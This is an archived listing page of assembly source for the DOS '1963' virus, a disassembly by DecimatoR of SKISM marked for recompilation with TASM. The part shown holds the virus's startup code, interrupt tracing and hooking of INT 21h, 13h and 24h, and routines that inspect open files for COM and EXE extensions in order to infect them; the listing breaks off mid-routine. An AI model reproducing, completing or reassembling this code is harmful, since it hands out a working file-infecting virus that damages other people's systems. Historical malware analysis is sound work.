home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 1963.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  58KB  |  1,292 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                                      ██
  6. ;██                           1963 VIRUS                                 ██
  7. ;██                                                                      ██
  8. ;██                         disassembly by                               ██
  9. ;██                                                                      ██
  10. ;██                       DecimatoR / SKISM                              ██
  11. ;██                                                                      ██
  12. ;██  01/15/92           Compile with TASM 2.0           DW 717-367-3501  ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e         equ     4                       ; (0000:0004=7FBh)
  16. data_2e         equ     6                       ; (0000:0006=70h)
  17. data_3e         equ     4Ch                     ; (0000:004C=88h)
  18. data_4e         equ     84h                     ; (0000:0084=16h)
  19. data_6e         equ     0Ah                     ; (0046:000A=0)
  20. data_7e         equ     16h                     ; (0046:0016=0)
  21. data_8e         equ     2Ch                     ; (0046:002C=50h)
  22. data_9e         equ     8ABh                    ; (0046:08AB=4146h)
  23. data_10e        equ     8ADh                    ; (0046:08AD=3154h)
  24. data_11e        equ     0Ah                     ; (08D4:000A=2F9h)
  25. data_12e        equ     0Ch                     ; (08D4:000C=3872h)
  26. data_13e        equ     100h                    ; (08D4:0100=0DFh)
  27. data_14e        equ     1                       ; (4815:0001=0FFFFh)
  28. data_15e        equ     100h                    ; (4816:0100=0FFh)
  29. data_16e        equ     1                       ; (8343:0001=0FFFFh)
  30. data_17e        equ     0Ah                     ; (8344:000A=0)
  31. data_18e        equ     0Eh                     ; (8344:000E=8344h)
  32. data_49e        equ     900h                    ; (8344:0900=0)
  33. data_50e        equ     902h                    ; (8344:0902=0)
  34. data_51e        equ     904h                    ; (8344:0904=8344h)
  35. data_52e        equ     906h                    ; (8344:0906=0)
  36. data_53e        equ     9EFh                    ; (8344:09EF=0)
  37. data_54e        equ     10AFh                   ; (8344:10AF=0)
  38. data_55e        equ     10B1h                   ; (8344:10B1=0)
  39. data_56e        equ     10B3h                   ; (8344:10B3=0)
  40.   
  41. seg_a           segment byte public
  42.                 assume  cs:seg_a, ds:seg_a
  43.   
  44.   
  45.                 org     100h
  46.   
  47. virus           proc    far
  48.   
  49. start:
  50.                 mov     ah,30h                  ; '0'
  51.                 int     21h                     ; DOS Services  ah=function 30h
  52.                                                 ;  get DOS version number ax
  53.                 cmp     al,3
  54.                 jb      loc_1                   ; Jump if below
  55.                 mov     ax,1200h
  56.                 int     2Fh                     ; Multiplex/Spooler al=func 00h
  57.                                                 ;  get installed status
  58.                 cmp     al,0FFh
  59. loc_1:
  60.                 mov     ax,0Bh
  61.                 jc      loc_4                   ; Jump if carry Set
  62.                 mov     ah,4Ah                  ; 'J'
  63.                 mov     bx,140h
  64.                 int     21h                     ; DOS Services  ah=function 4Ah
  65.                                                 ;  change mem allocation, bx=siz
  66.                 jc      loc_4                   ; Jump if carry Set
  67.                 cli                             ; Disable interrupts
  68.                 push    cs
  69.                 pop     ss
  70.                 mov     sp,13FEh
  71.                 call    sub_1                   ; (01EB)
  72.                 sti                             ; Enable interrupts
  73.                 mov     ax,ds:data_8e           ; (0046:002C=50h)
  74.                 or      ax,ax                   ; Zero ?
  75.                 jz      loc_5                   ; Jump if zero
  76.                 call    sub_13                  ; (07EC)
  77.                 mov     es,ax
  78.                 xor     di,di                   ; Zero register
  79.                 xor     ax,ax                   ; Zero register
  80. loc_2:
  81.                 scasw                           ; Scan es:[di] for ax
  82.                 jnz     loc_2                   ; Jump if not zero
  83.                 scasw                           ; Scan es:[di] for ax
  84.                 mov     dx,di
  85.                 push    es
  86.                 pop     ds
  87.                 mov     ah,48h                  ; 'H'
  88.                 mov     bx,0FFFFh
  89.                 int     21h                     ; DOS Services  ah=function 48h
  90.                                                 ;  allocate memory, bx=bytes/16
  91.                 mov     ah,48h                  ; 'H'
  92.                 int     21h                     ; DOS Services  ah=function 48h
  93.                                                 ;  allocate memory, bx=bytes/16
  94.                 mov     es,ax
  95.                 mov     ah,49h                  ; 'I'
  96.                 int     21h                     ; DOS Services  ah=function 49h
  97.                                                 ;  release memory block, es=seg
  98.                 xor     ax,ax                   ; Zero register
  99.                 mov     cx,bx
  100.                 mov     bx,es
  101.   
  102. locloop_3:
  103.                 push    cx
  104.                 mov     cx,8
  105.                 xor     di,di                   ; Zero register
  106.                 rep     stosw                   ; Rep when cx >0 Store ax to es:[di]
  107.                 inc     bx
  108.                 mov     es,bx
  109.                 pop     cx
  110.                 loop    locloop_3               ; Loop if cx > 0
  111.   
  112.                 push    cs
  113.                 pop     es
  114.                 mov     bx,data_51e             ; (8344:0904=44h)
  115.                 mov     di,bx
  116.                 stosw                           ; Store ax to es:[di]
  117.                 mov     al,80h
  118.                 stosw                           ; Store ax to es:[di]
  119.                 mov     ax,cs
  120.                 stosw                           ; Store ax to es:[di]
  121.                 mov     ax,5Ch
  122.                 stosw                           ; Store ax to es:[di]
  123.                 mov     ax,cs
  124.                 stosw                           ; Store ax to es:[di]
  125.                 mov     ax,6Ch
  126.                 stosw                           ; Store ax to es:[di]
  127.                 mov     ax,cs
  128.                 stosw                           ; Store ax to es:[di]
  129.                 mov     ax,4B00h
  130.                 int     21h                     ; DOS Services  ah=function 4Bh
  131.                                                 ;  run progm @ds:dx, parm @es:bx
  132. loc_4:
  133.                 push    cs
  134.                 pop     ds
  135.                 call    sub_13                  ; (07EC)
  136.                 jmp     dword ptr cs:data_17e   ; (8344:000A=0)
  137. loc_5:
  138.                 mov     ax,1220h
  139.                 mov     bx,5
  140.                 int     2Fh                     ; ??INT Non-standard interrupt.
  141.                 push    bx
  142.                 dec     bx
  143.                 dec     bx
  144.                 mov     es:[di],bl
  145.                 mov     ax,1216h
  146.                 int     2Fh                     ; ??INT Non-standard interrupt.
  147.                 dec     bx
  148.                 dec     bx
  149.                 mov     es:[di],bx
  150.                 mov     ah,48h                  ; 'H'
  151.                 mov     bx,0FFFFh
  152.                 int     21h                     ; DOS Services  ah=function 48h
  153.                                                 ;  allocate memory, bx=bytes/16
  154.                 mov     ah,48h                  ; 'H'
  155.                 int     21h                     ; DOS Services  ah=function 48h
  156.                                                 ;  allocate memory, bx=bytes/16
  157.                 mov     ds,ax
  158.                 pop     bx
  159.                 mov     ax,4200h
  160.                 xor     cx,cx                   ; Zero register
  161.                 xor     dx,dx                   ; Zero register
  162.                 int     21h                     ; DOS Services  ah=function 42h
  163.                                                 ;  move file ptr, cx,dx=offset
  164.                 mov     ah,3Fh                  ; '?'
  165.                 mov     dx,data_15e             ; (4816:0100=0FFh)
  166.                 mov     cx,es:[di+11h]
  167.                 int     21h                     ; DOS Services  ah=function 3Fh
  168.                                                 ;  read file, cx=bytes, to ds:dx
  169.                 jc      loc_4                   ; Jump if carry Set
  170.                 mov     ah,3Eh                  ; '>'
  171.                 int     21h                     ; DOS Services  ah=function 3Eh
  172.                                                 ;  close file, bx=file handle
  173.                 mov     ah,26h                  ; '&'
  174.                 mov     dx,ds
  175.                 int     21h                     ; DOS Services  ah=function 26h
  176.                                                 ;  create progm seg prefix dx
  177.                 dec     dx
  178.                 mov     es,dx
  179.                 mov     es:data_14e,ds          ; (4815:0001=0FFFFh)
  180.                 inc     dx
  181.                 mov     es,dx
  182.                 mov     ss,dx
  183.                 mov     sp,0FFFEh
  184.                 push    ds
  185.                 mov     ax,100h
  186.                 push    ax
  187.                 retf                            ; Return far
  188.   
  189. virus           endp
  190.   
  191. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  192. ;                              SUBROUTINE
  193. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  194.   
  195. sub_1           proc    near
  196.                 push    ds
  197.                 mov     ax,1203h
  198.                 int     2Fh                     ; Multiplex/Spooler al=func 03h
  199.                                                 ;  remove all files from queue
  200.                 mov     cs:data_51e,ds          ; (8344:0904=8344h)
  201.                 xor     si,si                   ; Zero register
  202.                 mov     ds,si
  203.                 mov     di,288h
  204.                 mov     si,cs
  205.                 xchg    di,ds:data_1e           ; (0000:0004=7FBh)
  206.                 xchg    si,ds:data_2e           ; (0000:0006=70h)
  207.                 pushf                           ; Push flags
  208.                 pushf                           ; Push flags
  209.                 pushf                           ; Push flags
  210.                 mov     bp,sp
  211.                 or      byte ptr [bp+1],1
  212.                 popf                            ; Pop flags
  213.                 pushf                           ; Push flags
  214.                 pushf                           ; Push flags
  215.                 mov     word ptr cs:data_52e,8AFh       ; (8344:0906=0)
  216.                 mov     ah,1
  217.                 call    dword ptr ds:data_3e    ; (0000:004C=2288h)
  218.                 popf                            ; Pop flags
  219.                 mov     word ptr cs:data_52e,8ABh       ; (8344:0906=0)
  220.                 mov     ah,0Bh
  221.                 call    dword ptr ds:data_4e    ; (0000:0084=1716h)
  222.                 popf                            ; Pop flags
  223.                 mov     ds:data_1e,di           ; (0000:0004=7FBh)
  224.                 mov     ds:data_2e,si           ; (0000:0006=70h)
  225.                 pop     ds
  226.                 push    ds
  227.                 push    es
  228.                 mov     bx,cs
  229.                 mov     bp,2AEh
  230.                 mov     ax,ds:data_9e           ; (0046:08AB=4146h)
  231.                 mov     dx,ds:data_10e          ; (0046:08AD=3154h)
  232.                 xor     si,si                   ; Zero register
  233.                 mov     ds,si
  234.                 cmp     ax,ds:data_4e           ; (0000:0084=1716h)
  235.                 jne     loc_6                   ; Jump if not equal
  236.                 cmp     dx,word ptr ds:data_4e+2        ; (0000:0086=2C7h)
  237.                 jne     loc_6                   ; Jump if not equal
  238.                 mov     ds:data_4e,bp           ; (0000:0084=1716h)
  239.                 mov     word ptr ds:data_4e+2,bx        ; (0000:0086=2C7h)
  240.                 jmp     short loc_10            ; (0285)
  241. loc_6:
  242.                 mov     ax,8ABh
  243.                 mov     es,bx
  244.                 mov     cx,10h
  245.                 cld                             ; Clear direction
  246.   
  247. locloop_7:
  248.                 mov     di,ax
  249.                 mov     ds,dx
  250.                 cmpsw                           ; Cmp [si] to es:[di]
  251.                 jnz     loc_9                   ; Jump if not zero
  252.                 cmpsw                           ; Cmp [si] to es:[di]
  253.                 jnz     loc_8                   ; Jump if not zero
  254.                 mov     [si-4],bp
  255.                 mov     [si-2],bx
  256. loc_8:
  257.                 dec     si
  258.                 dec     si
  259. loc_9:
  260.                 dec     si
  261.                 loop    locloop_7               ; Loop if cx > 0
  262.   
  263.                 xchg    si,cx
  264.                 inc     dx
  265.                 cmp     dx,bx
  266.                 jne     locloop_7               ; Jump if not equal
  267. loc_10:
  268.                 pop     es
  269.                 pop     ds
  270.                 retn
  271. sub_1           endp
  272.   
  273.                 push    bp
  274.                 mov     bp,sp
  275.                 push    ax
  276.                 mov     ax,[bp+4]
  277.                 cmp     ax,cs:data_51e          ; (8344:0904=8344h)
  278.                 ja      loc_11                  ; Jump if above
  279.                 push    bx
  280.                 mov     bx,cs:data_52e          ; (8344:0906=0)
  281.                 mov     cs:[bx+2],ax
  282.                 mov     ax,[bp+2]
  283.                 mov     cs:[bx],ax
  284.                 and     byte ptr [bp+7],0FEh
  285.                 pop     bx
  286. loc_11:
  287.                 pop     ax
  288.                 pop     bp
  289.                 iret                            ; Interrupt return
  290.                 db       55h, 8Bh,0ECh, 80h,0FCh, 48h
  291.                 db       74h, 0Ah, 80h,0FCh, 4Ah, 74h
  292.                 db       05h, 3Dh, 03h, 4Bh, 75h, 0Ch
  293.                 db      0E8h, 89h, 05h,0E8h,0AFh, 05h
  294.                 db       9Ch,0E8h, 87h, 05h,0EBh, 55h
  295.                 db       80h,0FCh, 31h, 74h, 05h, 80h
  296.                 db      0FCh
  297.                 db       4Ch, 75h, 0Dh
  298. loc_12:
  299.                 push    bx
  300.                 mov     bx,13h
  301. loc_13:
  302.                 call    sub_5                   ; (0532)
  303.                 dec     bx
  304.                 jns     loc_13                  ; Jump if not sign
  305.                 pop     bx
  306.                 jmp     short loc_23            ; (0342)
  307. loc_14:
  308.                 cmp     ah,0Fh
  309.                 je      loc_15                  ; Jump if equal
  310.                 cmp     ah,10h
  311.                 je      loc_15                  ; Jump if equal
  312.                 cmp     ah,17h
  313.                 je      loc_15                  ; Jump if equal
  314.                 cmp     ah,23h                  ; '#'
  315.                 jne     loc_16                  ; Jump if not equal
  316. loc_15:
  317.                 call    sub_15                  ; (081F)
  318.                 jmp     short loc_23            ; (0342)
  319. loc_16:
  320.                 cmp     ah,3Fh                  ; '?'
  321.                 jne     loc_20                  ; Jump if not equal
  322.                 call    sub_5                   ; (0532)
  323.                 jnc     loc_18                  ; Jump if carry=0
  324.                 mov     ax,5
  325. loc_17:
  326.                 jmp     loc_37                  ; (0403)
  327. loc_18:
  328.                 jnz     loc_23                  ; Jump if not zero
  329.                 call    sub_22                  ; (0875)
  330.                 jc      loc_17                  ; Jump if carry Set
  331.                 pushf                           ; Push flags
  332.                 call    sub_24                  ; (0884)
  333.                 push    ds
  334.                 pop     es
  335.                 mov     di,dx
  336.                 call    sub_11                  ; (0785)
  337.                 call    sub_25                  ; (0896)
  338. loc_19:
  339.                 popf                            ; Pop flags
  340.                 pop     bp
  341.                 retf    2                       ; Return far
  342. loc_20:
  343.                 cmp     ah,3Dh                  ; '='
  344.                 je      loc_21                  ; Jump if equal
  345.                 cmp     ah,43h                  ; 'C'
  346.                 je      loc_21                  ; Jump if equal
  347.                 cmp     ah,56h                  ; 'V'
  348.                 jne     loc_22                  ; Jump if not equal
  349. loc_21:
  350.                 call    sub_3                   ; (0519)
  351.                 jmp     short loc_23            ; (0342)
  352. loc_22:
  353.                 cmp     ah,3Eh                  ; '>'
  354.                 jne     loc_24                  ; Jump if not equal
  355.                 call    sub_5                   ; (0532)
  356. loc_23:
  357.                 push    word ptr [bp+6]
  358.                 popf                            ; Pop flags
  359.                 pop     bp
  360.                 cli                             ; Disable interrupts
  361.                 jmp     dword ptr cs:data_20    ; (8344:08AB=0)
  362. loc_24:
  363.                 cmp     ah,14h
  364.                 je      loc_25                  ; Jump if equal
  365.                 cmp     ah,21h                  ; '!'
  366.                 je      loc_25                  ; Jump if equal
  367.                 cmp     ah,27h                  ; '''
  368.                 je      loc_25                  ; Jump if equal
  369.                 jmp     loc_35                  ; (03DE)
  370. loc_25:
  371.                 call    sub_15                  ; (081F)
  372.                 jnc     loc_27                  ; Jump if carry=0
  373. loc_26:
  374.                 pop     bp
  375.                 mov     al,1
  376.                 iret                            ; Interrupt return
  377. loc_27:
  378.                 jnz     loc_23                  ; Jump if not zero
  379.                 call    sub_24                  ; (0884)
  380.                 call    sub_14                  ; (0814)
  381.                 cmp     ah,14h
  382.                 jne     loc_28                  ; Jump if not equal
  383.                 mov     ax,[si+0Ch]
  384.                 mov     dx,80h
  385.                 mul     dx                      ; dx:ax = reg * ax
  386.                 xor     bx,bx                   ; Zero register
  387.                 add     al,[si+20h]
  388.                 adc     ah,bl
  389.                 adc     bx,dx
  390.                 xchg    ax,bx
  391.                 jmp     short loc_29            ; (038F)
  392. loc_28:
  393.                 mov     ax,[si+23h]
  394.                 mov     bx,[si+21h]
  395. loc_29:
  396.                 mov     cx,[si+0Eh]
  397.                 mul     cx                      ; dx:ax = reg * ax
  398.                 jnc     loc_31                  ; Jump if carry=0
  399. loc_30:
  400.                 call    sub_25                  ; (0896)
  401.                 jmp     short loc_26            ; (0364)
  402. loc_31:
  403.                 xchg    ax,bx
  404.                 mul     cx                      ; dx:ax = reg * ax
  405.                 add     dx,bx
  406.                 jc      loc_30                  ; Jump if carry Set
  407.                 mov     cs:data_37,ax           ; (8344:08D0=0)
  408.                 mov     cs:data_38,dx           ; (8344:08D2=0)
  409.                 mov     cs:data_39,cx           ; (8344:08D4=0)
  410.                 call    sub_25                  ; (0896)
  411.                 call    sub_22                  ; (0875)
  412.                 or      al,al                   ; Zero ?
  413.                 jz      loc_32                  ; Jump if zero
  414.                 cmp     al,3
  415.                 jne     loc_34                  ; Jump if not equal
  416. loc_32:
  417.                 call    sub_24                  ; (0884)
  418.                 cmp     ah,27h                  ; '''
  419.                 mov     ax,cs:data_39           ; (8344:08D4=0)
  420.                 jnz     loc_33                  ; Jump if not zero
  421.                 mul     cx                      ; dx:ax = reg * ax
  422.                 jc      loc_30                  ; Jump if carry Set
  423. loc_33:
  424.                 push    ax
  425.                 mov     ah,2Fh                  ; '/'
  426.                 int     21h                     ; DOS Services  ah=function 2Fh
  427.                                                 ;  get DTA ptr into es:bx
  428.                 mov     di,bx
  429.                 pop     ax
  430.                 call    sub_11                  ; (0785)
  431.                 call    sub_25                  ; (0896)
  432. loc_34:
  433.                 pop     bp
  434.                 iret                            ; Interrupt return
  435. loc_35:
  436.                 cmp     ax,4B00h
  437.                 je      loc_38                  ; Jump if equal
  438.                 cmp     ax,4B01h
  439.                 je      loc_36                  ; Jump if equal
  440.                 jmp     loc_23                  ; (0342)
  441. loc_36:
  442.                 call    sub_2                   ; (042F)
  443.                 jc      loc_37                  ; Jump if carry Set
  444.                 push    si
  445.                 push    di
  446.                 push    ds
  447.                 push    cs
  448.                 pop     ds
  449.                 mov     si,offset data_41       ; (8344:08E2=0)
  450.                 lea     di,[bx+0Eh]             ; Load effective addr
  451.                 cld                             ; Clear direction
  452.                 movsw                           ; Mov [si] to es:[di]
  453.                 movsw                           ; Mov [si] to es:[di]
  454.                 movsw                           ; Mov [si] to es:[di]
  455.                 movsw                           ; Mov [si] to es:[di]
  456.                 pop     ds
  457.                 pop     di
  458.                 pop     si
  459. loc_37:
  460.                 pushf                           ; Push flags
  461.                 shr     byte ptr [bp+6],1       ; Shift w/zeros fill
  462.                 popf                            ; Pop flags
  463.                 rcl     byte ptr [bp+6],1       ; Rotate thru carry
  464.                 pop     bp
  465.                 iret                            ; Interrupt return
  466. loc_38:
  467.                 call    sub_2                   ; (042F)
  468.                 jc      loc_37                  ; Jump if carry Set
  469.                 push    ax
  470.                 mov     ah,51h                  ; 'Q'
  471.                 int     21h                     ; DOS Services  ah=function 51h
  472.                                                 ;  get active PSP segment in bx
  473.                 mov     ds,bx
  474.                 mov     es,bx
  475.                 pop     ax
  476.                 cli                             ; Disable interrupts
  477.                 mov     sp,cs:data_41           ; (8344:08E2=0)
  478.                 mov     ss,cs:data_42           ; (8344:08E4=0)
  479.                 inc     sp
  480.                 inc     sp
  481.                 sti                             ; Enable interrupts
  482.                 jmp     dword ptr cs:data_43    ; (8344:08E6=0)
  483.   
  484. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  485. ;                              SUBROUTINE
  486. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  487.   
  488. sub_2           proc    near
  489.                 call    sub_24                  ; (0884)
  490.                 stc                             ; Set carry flag
  491.                 call    sub_4                   ; (051A)
  492. loc_39:
  493.                 mov     ax,0Bh
  494.                 jc      loc_40                  ; Jump if carry Set
  495.                 cld                             ; Clear direction
  496.                 pushf                           ; Push flags
  497.                 push    ds
  498.                 mov     ax,3522h
  499.                 int     21h                     ; DOS Services  ah=function 35h
  500.                                                 ;  get intrpt vector al in es:bx
  501.                 mov     cs:data_24,bx           ; (8344:08B7=0)
  502.                 mov     word ptr cs:data_24+2,es        ; (8344:08B9=8344h)
  503.                 lds     si,dword ptr [bp+0Ah]   ; Load 32 bit ptr
  504.                 push    cs
  505.                 pop     es
  506.                 mov     di,offset data_39       ; (8344:08D4=0)
  507.                 mov     bx,di
  508.                 mov     cx,7
  509.                 rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  510.                 pop     ds
  511.                 call    sub_16                  ; (084C)
  512.                 push    dx
  513.                 mov     ax,4B01h
  514.                 call    sub_23                  ; (0879)
  515.                 pop     dx
  516.                 call    sub_17                  ; (0851)
  517.                 jnc     loc_42                  ; Jump if carry=0
  518. loc_40:
  519.                 mov     [bp+8],ax
  520. loc_41:
  521.                 call    sub_25                  ; (0896)
  522.                 retn
  523. loc_42:
  524.                 mov     [bp+8],ax
  525.                 mov     ah,51h                  ; 'Q'
  526.                 int     21h                     ; DOS Services  ah=function 51h
  527.                                                 ;  get active PSP segment in bx
  528.                 mov     es,bx
  529.                 mov     si,[bp]
  530.                 lds     dx,dword ptr ss:[si+2]  ; Load 32 bit ptr
  531.                 mov     es:data_11e,dx          ; (08D4:000A=2F9h)
  532.                 mov     es:data_12e,ds          ; (08D4:000C=3872h)
  533.                 mov     ax,2522h
  534.                 int     21h                     ; DOS Services  ah=function 25h
  535.                                                 ;  set intrpt vector al to ds:dx
  536.                 popf                            ; Pop flags
  537.                 jnz     loc_41                  ; Jump if not zero
  538.                 push    cs
  539.                 pop     ds
  540.                 mov     si,data_51e             ; (8344:0904=44h)
  541.                 mov     di,data_13e             ; (08D4:0100=0DFh)
  542.                 mov     cx,7ABh
  543.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  544.                 call    sub_7                   ; (0758)
  545.                 jz      loc_44                  ; Jump if zero
  546. loc_43:
  547.                 clc                             ; Clear carry flag
  548.                 jmp     short loc_41            ; (0470)
  549. loc_44:
  550.                 mov     di,bx
  551.                 add     di,10h
  552.                 mov     ax,ds:data_55e          ; (8344:10B1=0)
  553.                 mov     word ptr data_43,ax     ; (8344:08E6=0)
  554.                 mov     ax,ds:data_56e          ; (8344:10B3=0)
  555.                 add     ax,di
  556.                 mov     word ptr data_43+2,ax   ; (8344:08E8=0)
  557.                 mov     cx,ds:data_54e          ; (8344:10AF=0)
  558.                 or      cx,cx                   ; Zero ?
  559.                 jz      loc_43                  ; Jump if zero
  560.                 lds     dx,dword ptr [bp+0Eh]   ; Load 32 bit ptr
  561.                 call    sub_18                  ; (0862)
  562.                 jc      loc_47                  ; Jump if carry Set
  563.                 mov     bx,ax
  564.                 push    cx
  565.                 push    cs
  566.                 pop     ds
  567.                 xor     cx,cx                   ; Zero register
  568.                 mov     dx,ds:data_50e          ; (8344:0902=0)
  569.                 call    sub_20                  ; (086B)
  570.                 mov     dx,904h
  571.                 pop     cx
  572.   
  573. locloop_45:
  574.                 push    cx
  575.                 mov     cx,4
  576.                 call    sub_8                   ; (0764)
  577.                 pop     cx
  578.                 jc      loc_46                  ; Jump if carry Set
  579.                 mov     si,dx
  580.                 push    ds
  581.                 mov     ax,[si+2]
  582.                 mov     si,[si]
  583.                 add     ax,di
  584.                 mov     ds,ax
  585.                 add     [si],di
  586.                 pop     ds
  587.                 loop    locloop_45              ; Loop if cx > 0
  588.   
  589.                 call    sub_19                  ; (0867)
  590.                 jmp     short loc_43            ; (04A8)
  591. loc_46:
  592.                 call    sub_19                  ; (0867)
  593. loc_47:
  594.                 push    es
  595.                 pop     ds
  596.                 les     bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr
  597.                 mov     ds:data_17e,bx          ; (8344:000A=0)
  598.                 mov     ds:data_18e,es          ; (8344:000E=8344h)
  599.                 call    sub_13                  ; (07EC)
  600.                 stc                             ; Set carry flag
  601.                 jmp     loc_39                  ; (0436)
  602. sub_2           endp
  603.   
  604.   
  605. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  606. ;                              SUBROUTINE
  607. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  608.   
  609. sub_3           proc    near
  610.                 clc                             ; Clear carry flag
  611.   
  612. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  613.   
  614. sub_4:
  615.                 push    ax
  616.                 push    bx
  617.                 pushf                           ; Push flags
  618.                 call    sub_18                  ; (0862)
  619.                 jc      loc_48                  ; Jump if carry Set
  620.                 mov     bx,ax
  621.                 popf                            ; Pop flags
  622.                 pushf                           ; Push flags
  623.                 call    sub_6                   ; (0533)
  624.                 pushf                           ; Push flags
  625.                 call    sub_19                  ; (0867)
  626.                 popf                            ; Pop flags
  627. loc_48:
  628.                 pop     bx
  629.                 pop     bx
  630.                 pop     ax
  631.                 retn
  632. sub_3           endp
  633.   
  634.   
  635. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  636. ;                              SUBROUTINE
  637. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  638.   
  639. sub_5           proc    near
  640.                 clc                             ; Clear carry flag
  641.   
  642. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  643.   
  644. sub_6:
  645.                 cld                             ; Clear direction
  646.                 call    sub_24                  ; (0884)
  647.                 pushf                           ; Push flags
  648.                 push    bx
  649.                 mov     ax,1220h
  650.                 int     2Fh                     ; ??INT Non-standard interrupt.
  651.                 jc      loc_49                  ; Jump if carry Set
  652.                 xor     bh,bh                   ; Zero register
  653.                 mov     bl,es:[di]
  654.                 mov     ax,1216h
  655.                 int     2Fh                     ; ??INT Non-standard interrupt.
  656.                 jnc     loc_50                  ; Jump if carry=0
  657. loc_49:
  658.                 call    sub_25                  ; (0896)
  659.                 retn
  660. loc_50:
  661.                 push    es
  662.                 push    cs
  663.                 pop     ds
  664.                 mov     ax,3523h
  665.                 int     21h                     ; DOS Services  ah=function 35h
  666.                                                 ;  get intrpt vector al in es:bx
  667.                 mov     data_26,bx              ; (8344:08BB=0)
  668.                 mov     word ptr data_26+2,es   ; (8344:08BD=8344h)
  669.                 inc     ax
  670.                 int     21h                     ; DOS Services  ah=function 35h
  671.                                                 ;  get intrpt vector al in es:bx
  672.                 mov     data_28,bx              ; (8344:08BF=0)
  673.                 mov     word ptr data_28+2,es   ; (8344:08C1=8344h)
  674.                 mov     ah,25h                  ; '%'
  675.                 mov     dx,offset int_24h_entry
  676.                 int     21h                     ; DOS Services  ah=function 25h
  677.                                                 ;  set intrpt vector al to ds:dx
  678.                 dec     ax
  679.                 inc     dx
  680.                 inc     dx
  681.                 int     21h                     ; DOS Services  ah=function 25h
  682.                                                 ;  set intrpt vector al to ds:dx
  683.                 pop     es
  684.                 pop     bx
  685.                 mov     al,2
  686.                 xchg    al,es:[di+2]
  687.                 mov     data_33,al              ; (8344:08C9=0)
  688.                 mov     ax,es:[di+5]
  689.                 mov     data_34,ax              ; (8344:08CA=0)
  690.                 mov     ax,es:[di+15h]
  691.                 mov     data_37,ax              ; (8344:08D0=0)
  692.                 mov     ax,es:[di+17h]
  693.                 mov     data_38,ax              ; (8344:08D2=0)
  694.                 mov     ax,es:[di+11h]
  695.                 mov     dx,es:[di+13h]
  696.                 mov     data_35,ax              ; (8344:08CC=0)
  697.                 mov     data_36,dx              ; (8344:08CE=0)
  698.                 cmp     ax,1Ah
  699.                 sbb     dx,0
  700.                 jc      loc_55                  ; Jump if carry Set
  701.                 popf                            ; Pop flags
  702.                 jc      loc_52                  ; Jump if carry Set
  703.                 mov     ax,es:[di+28h]
  704.                 cmp     ax,5845h
  705.                 je      loc_51                  ; Jump if equal
  706.                 cmp     ax,4F43h
  707.                 jne     loc_55                  ; Jump if not equal
  708.                 mov     al,4Dh                  ; 'M'
  709. loc_51:
  710.                 cmp     al,es:[di+2Ah]
  711.                 jne     loc_55                  ; Jump if not equal
  712. loc_52:
  713.                 xor     cx,cx                   ; Zero register
  714.                 xor     dx,dx                   ; Zero register
  715.                 call    sub_20                  ; (086B)
  716.                 mov     dx,8EAh
  717.                 mov     cl,1Ah
  718.                 call    sub_8                   ; (0764)
  719.                 jc      loc_57                  ; Jump if carry Set
  720.                 xor     cx,cx                   ; Zero register
  721.                 xor     dx,dx                   ; Zero register
  722.                 call    sub_7                   ; (0758)
  723.                 jnz     loc_53                  ; Jump if not zero
  724.                 mov     ax,data_47              ; (8344:08F2=0)
  725.                 mov     dl,10h
  726.                 mul     dx                      ; dx:ax = reg * ax
  727.                 mov     cx,dx
  728.                 mov     dx,ax
  729. loc_53:
  730.                 push    cx
  731.                 push    dx
